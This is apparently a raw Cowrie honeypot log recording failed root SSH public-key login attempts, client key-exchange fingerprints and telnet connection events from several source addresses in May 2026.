{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2f:41:57:0c:f6:cd:b0:da:68:bc:48:c1:fa:07:54:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCF+Q+i/f0H4zeBJZipP4ZqnFSuxcnzr3zJ/rwebbF2xHddAymkVcAlbgBXVIUCplzqcKcre3JROBpoIBJH8t+HN0BNKVOq6Q2oOSGYVKFSeUI5fYgHCIa05l+x/ef5YNJQxARW4vJbhgj4PI6jcoPhDe2zHcdoMPPiWH0THSG9UPDtTzsK9NKuLQVVv8xgUTZx1uZ1Mnt7fYwo1uZZdXNMjjaM/Ig1IovbFsRqD3pEno7N232amKTw5cwLfoYtqaJUdMhgJLw0VidtEnkL45L2x8aU0Va+mJY/ye8E/il10s+BU328trDvw5dsVoX0DZY970DFSs+18qhaQz95wKEd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:25:07.183198Z","src_ip":"154.6.60.236","session":"9c90a7cf5d25","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c4:2d:07:04:fc:0f:27:b9:90:83:f8:69:28:76:fe:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1BYjYv1i26VrankDgYw53Yn6L4CI8rcHhhE7hoQX6xyZRyDcdW3UYPWke9F9E9hJkzLH1XyGKng4EcOsUf1Tw7CTtxl2+kHaBDAShPLd19lNdWS83bRz9yT/aHYakv3cKJQQh2bxTXMdt5V74nVQb2PL1+cTPbC4LdY8/nDLbiq9pXOl5jObhWuCrTV3GzJaBAcbJzB4J1OYQt7t1fuRDBP4bqDnUR3+G4gnMSP5qFKW4tgQJh/3BQq/E97rpJkYEDBpWnFL2hgMFSuuDJJ0LgpKsv/IA75ghxXj0Sppv0Fc0nLcgz6eP//MJrG5Rjt1qdxvSmEd09Syo3FuidPgAQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c4:2d:07:04:fc:0f:27:b9:90:83:f8:69:28:76:fe:5a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:25:07.273430Z","src_ip":"154.6.60.236","session":"9c90a7cf5d25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c4:2d:07:04:fc:0f:27:b9:90:83:f8:69:28:76:fe:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1BYjYv1i26VrankDgYw53Yn6L4CI8rcHhhE7hoQX6xyZRyDcdW3UYPWke9F9E9hJkzLH1XyGKng4EcOsUf1Tw7CTtxl2+kHaBDAShPLd19lNdWS83bRz9yT/aHYakv3cKJQQh2bxTXMdt5V74nVQb2PL1+cTPbC4LdY8/nDLbiq9pXOl5jObhWuCrTV3GzJaBAcbJzB4J1OYQt7t1fuRDBP4bqDnUR3+G4gnMSP5qFKW4tgQJh/3BQq/E97rpJkYEDBpWnFL2hgMFSuuDJJ0LgpKsv/IA75ghxXj0Sppv0Fc0nLcgz6eP//MJrG5Rjt1qdxvSmEd09Syo3FuidPgAQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:25:07.280238Z","src_ip":"154.6.60.236","session":"9c90a7cf5d25","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e6:78:fe:7f:8f:b1:d7:c0:24:33:eb:88:e5:26:c7:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAx970cVHVDozpEOECOnbYEPVs7Z8etcOPbkcAE4x06dx/7RjxbuREeJf6yDi62K0i4wrZEiNPVRvSqeIqru+EeOXv/PVTHWcSFm0IwT5Q+kBc5jgjfSqDLczyj02VpCE66EVMejuNe8g6oEKhlQUsner6rl00xb6O6gY9E79HW4QJbV7gggyLlZJS4achXfNGtDMdwCTlkdr62DfpxNCQiDkDfcKyNI65YxijjLyeUnSCY2KEqlb4OlzwIbutXqCR4Lu4/vqTfnTzXsysZpRKF0KH1dLlC7Inwxs8YvjojFLF81aILIvKbRuOLa6vAILA5F6Dd/TXzswIkBBjociSNQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e6:78:fe:7f:8f:b1:d7:c0:24:33:eb:88:e5:26:c7:09","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:25:07.370339Z","src_ip":"154.6.60.236","session":"9c90a7cf5d25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e6:78:fe:7f:8f:b1:d7:c0:24:33:eb:88:e5:26:c7:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAx970cVHVDozpEOECOnbYEPVs7Z8etcOPbkcAE4x06dx/7RjxbuREeJf6yDi62K0i4wrZEiNPVRvSqeIqru+EeOXv/PVTHWcSFm0IwT5Q+kBc5jgjfSqDLczyj02VpCE66EVMejuNe8g6oEKhlQUsner6rl00xb6O6gY9E79HW4QJbV7gggyLlZJS4achXfNGtDMdwCTlkdr62DfpxNCQiDkDfcKyNI65YxijjLyeUnSCY2KEqlb4OlzwIbutXqCR4Lu4/vqTfnTzXsysZpRKF0KH1dLlC7Inwxs8YvjojFLF81aILIvKbRuOLa6vAILA5F6Dd/TXzswIkBBjociSNQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:25:07.373859Z","src_ip":"154.6.60.236","session":"9c90a7cf5d25","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0a:ba:3a:3f:07:02:6b:3f:59:a3:fd:44:a1:4c:f6:88","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJXcraKNtBpmRr7dq62h8qXW0/zp00n+b63T/EOy5Yo325krwSAp854+5ypjoZ/UAKLcXmeE7D2WaYTSR96nRaEiRNvKIdtd+1sXoN50QBpsQi4LJ9y7G7PgdALfOf83f4aC4Gfalky0IAFijcNzLO1vDrbKXpNJLukUeR35U749AAAAFQDVwyReACr4sqxg9BDQmwHZ8QRmTQAAAIBIUdrH8bMDy+Nrk/eXDiGXovFAsdCH9uZNVDvMUmuSzRlPqoi+zroRNNydeYT7KCXUo+kqWIn6xR5vJosruSM1QCck/IDD51NCc3+XeFnCaVnomJLVlIL6xp2nEq37nxADp103xihWl1n09lzbr9nxJpZM3DPEHqBOv921S6R4oAAAAIAhwyaFktkS0HHI+7U7M0aij3YbSW8j2JlPvcckpMc40oftQta86MH+qqMcwJS7llqAbbqmTYBSFgSW9S8VhOduR3CCQgqcvySO1Xf2yIUPsWGBK6WDAJuA2H2P+2rtW54St+ivHNlBL3GYmDx/aJ33KyxslptonjpYvesV9COT+g==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 0a:ba:3a:3f:07:02:6b:3f:59:a3:fd:44:a1:4c:f6:88","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:25:07.463885Z","src_ip":"154.6.60.236","session":"9c90a7cf5d25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0a:ba:3a:3f:07:02:6b:3f:59:a3:fd:44:a1:4c:f6:88","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJXcraKNtBpmRr7dq62h8qXW0/zp00n+b63T/EOy5Yo325krwSAp854+5ypjoZ/UAKLcXmeE7D2WaYTSR96nRaEiRNvKIdtd+1sXoN50QBpsQi4LJ9y7G7PgdALfOf83f4aC4Gfalky0IAFijcNzLO1vDrbKXpNJLukUeR35U749AAAAFQDVwyReACr4sqxg9BDQmwHZ8QRmTQAAAIBIUdrH8bMDy+Nrk/eXDiGXovFAsdCH9uZNVDvMUmuSzRlPqoi+zroRNNydeYT7KCXUo+kqWIn6xR5vJosruSM1QCck/IDD51NCc3+XeFnCaVnomJLVlIL6xp2nEq37nxADp103xihWl1n09lzbr9nxJpZM3DPEHqBOv921S6R4oAAAAIAhwyaFktkS0HHI+7U7M0aij3YbSW8j2JlPvcckpMc40oftQta86MH+qqMcwJS7llqAbbqmTYBSFgSW9S8VhOduR3CCQgqcvySO1Xf2yIUPsWGBK6WDAJuA2H2P+2rtW54St+ivHNlBL3GYmDx/aJ33KyxslptonjpYvesV9COT+g==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:25:07.468788Z","src_ip":"154.6.60.236","session":"9c90a7cf5d25","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6b:8f:6b:b3:fd:e3:e6:f7:f7:1d:7d:84:6a:96:df:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3WboMEvSXDs9GN+SrWQDyY0u2KLZpRKsIU2zqyhJI3t+yLsa+PeTh78rW+rhfe+wiVh56PkqHKBLFfWsTq8aJma0HnJ+M1iPqzr3rYiQmS661DdnBOCKUb8nob7qJtx4UsYUSGG0ngTecHeSS76+eoePcZjv/b7dQeLIcKBQ1O6XXcQtkS6zuyChdTU907YjcVrJftNd5ZFWywzz543iYF4aZi16y4G96aLQUy4Q2eg69eyUJCsyOto19OXm2XQOiu03n3B2sELJw8Z4UkkvQqxpexkTFn/ytGGEI2Ui73LcPVY0nI7mzDvZiXc6gQoTcBc1C70CbQKIKlszEsell","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6b:8f:6b:b3:fd:e3:e6:f7:f7:1d:7d:84:6a:96:df:d3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:25:07.560456Z","src_ip":"154.6.60.236","session":"9c90a7cf5d25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6b:8f:6b:b3:fd:e3:e6:f7:f7:1d:7d:84:6a:96:df:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3WboMEvSXDs9GN+SrWQDyY0u2KLZpRKsIU2zqyhJI3t+yLsa+PeTh78rW+rhfe+wiVh56PkqHKBLFfWsTq8aJma0HnJ+M1iPqzr3rYiQmS661DdnBOCKUb8nob7qJtx4UsYUSGG0ngTecHeSS76+eoePcZjv/b7dQeLIcKBQ1O6XXcQtkS6zuyChdTU907YjcVrJftNd5ZFWywzz543iYF4aZi16y4G96aLQUy4Q2eg69eyUJCsyOto19OXm2XQOiu03n3B2sELJw8Z4UkkvQqxpexkTFn/ytGGEI2Ui73LcPVY0nI7mzDvZiXc6gQoTcBc1C70CbQKIKlszEsell","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:25:07.564536Z","src_ip":"154.6.60.236","session":"9c90a7cf5d25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:25:07.655166Z","src_ip":"154.6.60.236","session":"9c90a7cf5d25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.41.38.54","src_port":52126,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3f144f1939e","protocol":"telnet","message":"New connection: 89.41.38.54:52126 (10.17.0.5:23) [session: d3f144f1939e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:25:18.579534Z"}
{"eventid":"cowrie.session.closed","duration":31.610700130462646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:25:27.265903Z","src_ip":"89.41.38.54","session":"12168b46780b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.180.12.23","src_port":39438,"dst_ip":"159.203.135.109","dst_port":23,"session":"a28145b12ff3","protocol":"telnet","message":"New connection: 194.180.12.23:39438 (159.203.135.109:23) [session: a28145b12ff3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:25:36.816918Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.41.38.54","src_port":57284,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4d4bd2e7c16","protocol":"telnet","message":"New connection: 89.41.38.54:57284 (10.17.0.5:23) [session: a4d4bd2e7c16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:25:39.232546Z"}
{"eventid":"cowrie.session.closed","duration":31.23266863822937,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:25:49.812085Z","src_ip":"89.41.38.54","session":"d3f144f1939e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.25655198097229,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:26:10.488977Z","src_ip":"89.41.38.54","session":"a4d4bd2e7c16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.41.38.54","src_port":38274,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8c003d986f8","protocol":"telnet","message":"New connection: 89.41.38.54:38274 (10.17.0.5:23) [session: f8c003d986f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:26:13.342301Z"}
{"eventid":"cowrie.session.closed","duration":44.10945391654968,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:26:20.926241Z","src_ip":"194.180.12.23","session":"a28145b12ff3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00854897499084,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:26:28.584937Z","src_ip":"194.180.12.23","session":"49e381eb81cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.24923300743103,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:26:44.591442Z","src_ip":"89.41.38.54","session":"f8c003d986f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.41.38.54","src_port":46988,"dst_ip":"10.17.0.5","dst_port":23,"session":"05fc01657dc7","protocol":"telnet","message":"New connection: 89.41.38.54:46988 (10.17.0.5:23) [session: 05fc01657dc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:26:45.613443Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.41.38.54","src_port":50416,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a40a0323b4e","protocol":"telnet","message":"New connection: 89.41.38.54:50416 (10.17.0.5:23) [session: 0a40a0323b4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:26:57.249037Z"}
{"eventid":"cowrie.session.closed","duration":31.24293851852417,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:27:16.856256Z","src_ip":"89.41.38.54","session":"05fc01657dc7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.251742839813232,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:27:28.500654Z","src_ip":"89.41.38.54","session":"0a40a0323b4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.41.38.54","src_port":60394,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf21b75ca256","protocol":"telnet","message":"New connection: 89.41.38.54:60394 (10.17.0.5:23) [session: bf21b75ca256]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:27:33.196565Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.62.139.79","src_port":38804,"dst_ip":"10.17.0.5","dst_port":23,"session":"0706a721ffb4","protocol":"telnet","message":"New connection: 5.62.139.79:38804 (10.17.0.5:23) [session: 0706a721ffb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:27:36.843904Z"}
{"eventid":"cowrie.session.closed","duration":12.99773383140564,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:27:49.841497Z","src_ip":"5.62.139.79","session":"0706a721ffb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.18181347846985,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:28:03.378301Z","src_ip":"89.41.38.54","session":"bf21b75ca256","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.114.156.169","src_port":45050,"dst_ip":"10.17.0.5","dst_port":22,"session":"b54df1ef26d3","protocol":"ssh","message":"New connection: 167.114.156.169:45050 (10.17.0.5:22) [session: b54df1ef26d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:29:22.116229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:29:22.121733Z","src_ip":"167.114.156.169","session":"b54df1ef26d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:29:22.142632Z","src_ip":"167.114.156.169","session":"b54df1ef26d3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"93:f9:29:79:f0:98:78:9a:f7:0c:e8:15:72:93:6b:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0A2/YbhiC6jkJ3jmhN3JELWA0AKUIm4ETG13Z7vVXOxGCGzk1Ba0DjZsDhVmBIJoKiXiXtgjfti52DOQSql+rlNCyXrxlbxp/DD26PBLBmPQTeq41lVMrFwPSkrQv5Dh/9ByQKbxbpv57WEsCvBWfZ3lwGhcZQ2m4c9ItGfQvTYL6RDkjUfv3pvfhP+jm7BVz9bGkzZ2hQQW/j41YfBJ4jc7eMC1oIvpkq4hW89T7sXcpbxtDJwuabuF3otIGNHbW9axCx20L7fDMpAOxxn2q3G7rSq1enc8nDwI5b8QgkGikYyDXvQgdwFYXEKEW3Gck675iFV7eSXac9w961TeX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 93:f9:29:79:f0:98:78:9a:f7:0c:e8:15:72:93:6b:be","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:29:22.222902Z","src_ip":"167.114.156.169","session":"b54df1ef26d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"93:f9:29:79:f0:98:78:9a:f7:0c:e8:15:72:93:6b:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0A2/YbhiC6jkJ3jmhN3JELWA0AKUIm4ETG13Z7vVXOxGCGzk1Ba0DjZsDhVmBIJoKiXiXtgjfti52DOQSql+rlNCyXrxlbxp/DD26PBLBmPQTeq41lVMrFwPSkrQv5Dh/9ByQKbxbpv57WEsCvBWfZ3lwGhcZQ2m4c9ItGfQvTYL6RDkjUfv3pvfhP+jm7BVz9bGkzZ2hQQW/j41YfBJ4jc7eMC1oIvpkq4hW89T7sXcpbxtDJwuabuF3otIGNHbW9axCx20L7fDMpAOxxn2q3G7rSq1enc8nDwI5b8QgkGikYyDXvQgdwFYXEKEW3Gck675iFV7eSXac9w961TeX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:29:22.229882Z","src_ip":"167.114.156.169","session":"b54df1ef26d3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e6:5b:95:cd:ae:f2:bd:6e:e7:f0:47:b2:87:ef:b0:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC68EKO9ZJWKpcBDqqzllfURMlDsBsy3E9/TVBO8dJo9CzWPUrvMtVS94MMIAb81JC2QIn2VU4czfyHzQZ/NJkL1mrbv4B4Hp1NqwojThQyini6k+pUqnlcVpcOcQATocwOgRMGkKXAJdm9HF8toYC1YQ2/XEewu50pqWfuh5ygJUp70vOgMvXT1edpM/ERmxvSiTle+w3R/z1pbGrK9RumEkgxw/A73PJaidvdaVGtHApvoZI/R+5dzBWrVBKTsr4i7KsZNdoev4AirU/4hhQacwbbgca8CMG2T2yYzGPBfTSBrXRApG8Y+TA262mdDurfRp+AKo7HQexhUNTewkz1znPZ/ZRCakc15Hmm1kSmEJah89eemNJNqGx+GXQyQAckDmc8BJcVkcARe2hsoymGSee8zmmu7v7JLsZ2uqR3GbbYzGWig+H6+484vSUCG3C8i5zKC1ncERP6Q8FgbmPg5WCkuif6kZS/o/OwF+ow6k49OEeIV/5ZPaocumh6MqOo4P0brHjM7RFfyS4FGIV5sXT0p9FEqN4BBrOLaCTAEq4+vQjtVRdNkGmp7CIY7gY5Ha0pBVzuqhiasTY6FSWbg8RxaqIrDFIzE8lIVC5A0wxGaLrN/tH+CJ7908Z94nxN9cxuYcfaLAKoFyoFwz0J7zNNeKwgb7Qa0x6sRlJJrQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e6:5b:95:cd:ae:f2:bd:6e:e7:f0:47:b2:87:ef:b0:d3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:29:22.251505Z","src_ip":"167.114.156.169","session":"b54df1ef26d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e6:5b:95:cd:ae:f2:bd:6e:e7:f0:47:b2:87:ef:b0:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC68EKO9ZJWKpcBDqqzllfURMlDsBsy3E9/TVBO8dJo9CzWPUrvMtVS94MMIAb81JC2QIn2VU4czfyHzQZ/NJkL1mrbv4B4Hp1NqwojThQyini6k+pUqnlcVpcOcQATocwOgRMGkKXAJdm9HF8toYC1YQ2/XEewu50pqWfuh5ygJUp70vOgMvXT1edpM/ERmxvSiTle+w3R/z1pbGrK9RumEkgxw/A73PJaidvdaVGtHApvoZI/R+5dzBWrVBKTsr4i7KsZNdoev4AirU/4hhQacwbbgca8CMG2T2yYzGPBfTSBrXRApG8Y+TA262mdDurfRp+AKo7HQexhUNTewkz1znPZ/ZRCakc15Hmm1kSmEJah89eemNJNqGx+GXQyQAckDmc8BJcVkcARe2hsoymGSee8zmmu7v7JLsZ2uqR3GbbYzGWig+H6+484vSUCG3C8i5zKC1ncERP6Q8FgbmPg5WCkuif6kZS/o/OwF+ow6k49OEeIV/5ZPaocumh6MqOo4P0brHjM7RFfyS4FGIV5sXT0p9FEqN4BBrOLaCTAEq4+vQjtVRdNkGmp7CIY7gY5Ha0pBVzuqhiasTY6FSWbg8RxaqIrDFIzE8lIVC5A0wxGaLrN/tH+CJ7908Z94nxN9cxuYcfaLAKoFyoFwz0J7zNNeKwgb7Qa0x6sRlJJrQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:29:22.255250Z","src_ip":"167.114.156.169","session":"b54df1ef26d3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"36:c6:32:57:92:03:5f:5e:3f:c5:54:7a:3c:d4:14:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTPOEafUDUVssLFaiGOgQRnVpOJTMi802js9VyGS7+F3z6Gw/b8SM9TNVLv/YjT07kEUJ5K5vehA4PMHOJl+/Zkd+x3FybxYsvGaKyfbQVz4LnwJ7AUInYh20nI2j8oANWGwXM2gZiL3Dxea3MbNQYldM1dozA9wmCU37TMCVJB7oel6yQxyTgkpmEBa4pJIT5hQNzDQ76sjyk+KYmu4g5A/Z5Dqw5zXiCfgwolj8KDIV2birio++juX6mQu4+lfdrMT7PaZGX6+idP+ZhVsNcIcJZ1kao/vFhoOIMdCVg7IWH9GNMHN5KZYU1IZUG4Dhz7Vj3kVm7UZwQz9i3VrvsaWIjtSNQ9OsI5azPIE2KKKVG1Wa3VjkAI3ajgTlWVSjcGtRrWqnRwqNx+No9Kd3TwgEbL1doxyObHyliPcL2sswkjIXRdLJggSGxumeLLq3cP26SbhlesPTuhXry7W62PHd2k9f+JpZFc4edKT69spXp2XG4Sz30K0kvXuXl+0yger5PDc/fOnrmCE4Inz2wq4OGkng+H0oQ+od4Yk1yiczIsQJl4zjT+OEDqwFV0P6MNHa+pMWMXLO6Z1vwv235YmDrZz41eKBiAV2jH9IkLIyxrQsopbozz6Gqr1jIlb2gfeZE91ccTc79JfHB4wnJMkILda3yweeXzM3hHB2c+Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 36:c6:32:57:92:03:5f:5e:3f:c5:54:7a:3c:d4:14:cf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:29:22.276480Z","src_ip":"167.114.156.169","session":"b54df1ef26d3","protocol":"ssh"}
